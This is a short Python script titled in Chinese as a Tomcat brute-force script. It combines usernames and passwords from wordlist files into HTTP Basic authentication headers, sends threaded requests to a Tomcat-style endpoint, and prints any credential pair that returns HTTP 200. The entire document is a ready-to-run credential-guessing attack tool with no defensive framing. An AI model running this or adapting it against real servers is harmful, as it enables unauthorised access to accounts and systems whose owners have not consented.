Tomcat爆破脚本
import requests
import base64
import threading
a=[]
url = "http://127.0.0.1:8880/api_expire/data/v1/site_sum?area=9912"
x=10
f = open("user.txt", "r").readlines()
g = open("pass1.txt", "r").readlines()
def tomcat(se,username,password):
se.acquire()
str1 = username + ':' + password
str2 = base64.b64encode(str1.encode('utf-8'))
a = str(str2, 'utf-8')
b = 'Basic ' + a
headers = {'Authorization': b,
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'}
res = requests.get(url, headers=headers)
print(username, password)
if res.status_code == 200:
print("*********************************************")
print("成功!!!")
print('username:', username, 'password:', password)
print("*********************************************")
for l in range(x):
se.acquire()
return
se.release()
def duo():
semphore=threading.Semaphore(x)
for i in f:
username=i.strip()
for j in g:
password = j.strip()
t=threading.Thread(target=tomcat,args=(semphore,username,password))
t.start()
a.append(t)
for k in a:
k.join()
if __name__=='__main__':
duo()